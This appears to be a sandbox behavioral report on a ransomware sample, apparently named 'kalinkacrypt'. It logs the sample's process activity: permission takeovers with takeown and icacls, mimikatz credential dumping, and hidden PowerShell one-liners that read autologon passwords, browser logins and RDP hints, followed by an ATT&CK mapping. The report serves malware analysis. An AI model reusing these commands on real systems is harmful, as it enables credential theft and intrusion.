C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.1_none_f216454a1d7f48de\MS-AZMan.LDF /A2⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\WinSxS\amd64_microsoft-windows-d..ommandline-adamsync_31bf3856ad364e35_10.0.19041.1081_none_6700b2d2d3c0055f\MS-adamschemaw2k3.LDF /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.1_none_f216454a1d7f48de\MS-InetOrgPerson.LDF /A2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.1_none_f216454a1d7f48de\MS-MembershipTransitive.LDF /A2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.1_none_f216454a1d7f48de\MS-ParentDistname.LDF /A2⤵
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.1_none_f216454a1d7f48de\MS-ReplValMetadataExt.LDF /A2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.1_none_f216454a1d7f48de\MS-SecretAttributeCARs.LDF /A2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.1_none_f216454a1d7f48de\MS-SetOwnerBypassQuotaCARs.LDF /A2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.1_none_f216454a1d7f48de\MS-ADAM-Upgrade-1.LDF /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\WinSxS\amd64_microsoft-windows-d..ommandline-adamsync_31bf3856ad364e35_10.0.19041.1_none_a813da7cbdfebb0a\MS-AdamSyncMetadata.LDF /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\WinSxS\amd64_microsoft-windows-d..ommandline-adamsync_31bf3856ad364e35_10.0.19041.1_none_a813da7cbdfebb0a\MS-adamschemaw2k3.LDF /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.1_none_f216454a1d7f48de\MS-User.LDF /A2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.1_none_f216454a1d7f48de\MS-UserProxy.LDF /A2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\WinSxS\amd64_microsoft-windows-d..ommandline-adamsync_31bf3856ad364e35_10.0.19041.1_none_a813da7cbdfebb0a\MS-adamschemaw2k8.LDF /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.1_none_f216454a1d7f48de\MS-UserProxyFull.LDF /A2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.1_none_f216454a1d7f48de\MS-AZMan.LDF /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.746_none_1a1e8292dcf10728\MS-ADAM-Upgrade-1.LDF /A2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.1_none_f216454a1d7f48de\MS-ReplValMetadataExt.LDF /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.1_none_f216454a1d7f48de\MS-SetOwnerBypassQuotaCARs.LDF /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.1_none_f216454a1d7f48de\MS-InetOrgPerson.LDF /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.1_none_f216454a1d7f48de\MS-UserProxy.LDF /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.1_none_f216454a1d7f48de\MS-ADAM-Upgrade-2.LDF /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.1_none_f216454a1d7f48de\MS-MembershipTransitive.LDF /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.1_none_f216454a1d7f48de\MS-UserProxyFull.LDF /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.1_none_f216454a1d7f48de\MS-ParentDistname.LDF /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.746_none_1a1e8292dcf10728\MS-ADAM-Upgrade-2.LDF /A2⤵
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.1_none_f216454a1d7f48de\MS-SecretAttributeCARs.LDF /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.746_none_1a1e8292dcf10728\MS-ADLDS-DisplaySpecifiers.LDF /A2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.746_none_1a1e8292dcf10728\MS-ADAM-Upgrade-1.LDF /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.746_none_1a1e8292dcf10728\MS-AZMan.LDF /A2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.746_none_1a1e8292dcf10728\MS-InetOrgPerson.LDF /A2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.746_none_1a1e8292dcf10728\MS-MembershipTransitive.LDF /A2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.746_none_1a1e8292dcf10728\MS-ParentDistname.LDF /A2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.746_none_1a1e8292dcf10728\MS-SecretAttributeCARs.LDF /A2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.746_none_1a1e8292dcf10728\MS-ReplValMetadataExt.LDF /A2⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.1_none_f216454a1d7f48de\MS-ADLDS-DisplaySpecifiers.LDF /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.746_none_1a1e8292dcf10728\MS-SetOwnerBypassQuotaCARs.LDF /A2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.746_none_1a1e8292dcf10728\MS-ADAM-Upgrade-2.LDF /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.1_none_f216454a1d7f48de\MS-User.LDF /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.746_none_1a1e8292dcf10728\MS-MembershipTransitive.LDF /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.746_none_1a1e8292dcf10728\MS-AZMan.LDF /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.746_none_1a1e8292dcf10728\MS-InetOrgPerson.LDF /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Modifies file permissions
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.746_none_1a1e8292dcf10728\MS-User.LDF /A2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.746_none_1a1e8292dcf10728\MS-ParentDistname.LDF /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.746_none_1a1e8292dcf10728\MS-SecretAttributeCARs.LDF /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.746_none_1a1e8292dcf10728\MS-UserProxy.LDF /A2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.746_none_1a1e8292dcf10728\MS-ADLDS-DisplaySpecifiers.LDF /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\takeown.exetakeown /F C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.746_none_1a1e8292dcf10728\MS-UserProxyFull.LDF /A2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.746_none_1a1e8292dcf10728\MS-ReplValMetadataExt.LDF /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.746_none_1a1e8292dcf10728\MS-SetOwnerBypassQuotaCARs.LDF /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Possible privilege escalation attempt
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.746_none_1a1e8292dcf10728\MS-User.LDF /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Modifies file permissions
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.746_none_1a1e8292dcf10728\MS-UserProxy.LDF /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\icacls.exeicacls C:\Windows\WinSxS\amd64_microsoft-windows-d..services-adam-setup_31bf3856ad364e35_10.0.19041.746_none_1a1e8292dcf10728\MS-UserProxyFull.LDF /grant Everyone:F /grant *S-1-1-0:F /grant Users:F /grant Administrators:F /grant SYSTEM:F /T /C /Q2⤵
- Possible privilege escalation attempt
-
-
C:\Windows\system32\tasklist.exetasklist /FO CSV /NH2⤵
- Discovers running processes
-
-
C:\Windows\TEMP\kc_tor_fb\mimikatz.exeC:\Windows\TEMP\kc_tor_fb\mimikatz.exe privilege::debug sekurlsa::logonPasswords lsadump::sam lsadump::secrets exit2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\netsh.exenetsh wlan show profiles2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
C:\Windows\system32\cmdkey.execmdkey /list2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command " $ErrorActionPreference=\"SilentlyContinue\" $p = \"HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\" try { $wl = Get-ItemProperty $p -ErrorAction SilentlyContinue if ($wl.AutoAdminLogon -eq \"1\") { Write-Output \"USER:$($wl.DefaultUserName)|PASS:$($wl.DefaultPassword)|DOM:$($wl.DefaultDomainName)\" } } catch {} "2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\tasklist.exetasklist /FO CSV /NH2⤵
- Discovers running processes
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command " $ErrorActionPreference=\"SilentlyContinue\" $db = 'C:\Windows\TEMP\browser_chrome_1785864952774019200.db' try { $conn = New-Object System.Data.SQLite.SQLiteConnection \"Data Source=$db;Read Only=True\" $conn.Open() $cmd = $conn.CreateCommand() $cmd.CommandText = \"SELECT origin_url,username_value FROM logins WHERE username_value !=''\" $rd = $cmd.ExecuteReader() while ($rd.Read()) { $u = $rd.GetString(0) $n = $rd.GetString(1) if ($u -and $n) { Write-Output \"URL:$u|USER:$n\" } } $conn.Close() } catch {} "2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command " $ErrorActionPreference=\"SilentlyContinue\" $db = 'C:\Windows\TEMP\browser_edge_1785864953326901400.db' try { $conn = New-Object System.Data.SQLite.SQLiteConnection \"Data Source=$db;Read Only=True\" $conn.Open() $cmd = $conn.CreateCommand() $cmd.CommandText = \"SELECT origin_url,username_value FROM logins WHERE username_value !=''\" $rd = $cmd.ExecuteReader() while ($rd.Read()) { $u = $rd.GetString(0) $n = $rd.GetString(1) if ($u -and $n) { Write-Output \"URL:$u|USER:$n\" } } $conn.Close() } catch {} "2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command " $ErrorActionPreference=\"SilentlyContinue\" $p = \"HKCU:Software\Microsoft\Terminal Server Client\Servers\" try { $servers = Get-ChildItem $p -ErrorAction SilentlyContinue foreach ($s in $servers) { $u = Get-ItemProperty $s.PSPath -Name UsernameHint -ErrorAction SilentlyContinue if ($u) { Write-Output \"RDP:$($s.PSChildName):$($u.UsernameHint)\" } } } catch {} "2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\tasklist.exetasklist /FO CSV /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FO CSV /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\cmd.execmd /c rd /s /q C:\$RECYCLE.BIN2⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\cmd.execmd /c rd /s /q F:\$RECYCLE.BIN2⤵
- Executes a command shell one-liner
-
-
C:\Windows\system32\tasklist.exetasklist /FO CSV /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FO CSV /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FO CSV /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FO CSV /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FO CSV /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FO CSV /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FO CSV /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FO CSV /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\tasklist.exetasklist /FO CSV /NH2⤵
- Discovers running processes
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1System Services
1Service Execution
1Windows Management Instrumentation
1Persistence
Create or Modify System Process
3Windows Service
3Event Triggered Execution
1Netsh Helper DLL
1Privilege Escalation
Create or Modify System Process
3Windows Service
3Event Triggered Execution
1Netsh Helper DLL
1Defense Evasion
Direct Volume Access
1File and Directory Permissions Modification
1Hide Artifacts
1Hidden Files and Directories
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
2File Deletion
2Modify Registry
2Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1OS Credential Dumping
1LSASS Memory
1Unsecured Credentials
5Credentials In Files
5Replay Monitor
Loading Replay Monitor...
Downloads
encryption_state.json
kalinkacrypt.exe
kal1
~d60300.bat
torrc
__PSScriptPolicyTest_3h5yhyyv.m5g.ps1
mimikatz.exe
tor.exe
cached-microdesc-consensus.tmp
cached-microdescs.new
MS-AdamSyncMetadata.LDF.kalinkacrypt
MS-UserProxyFull.LDF.kalinkacrypt
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
iletisim.txt
memory/5628-12619-0x0000026F4B680000-0x0000026F4B6A2000-memory.dmp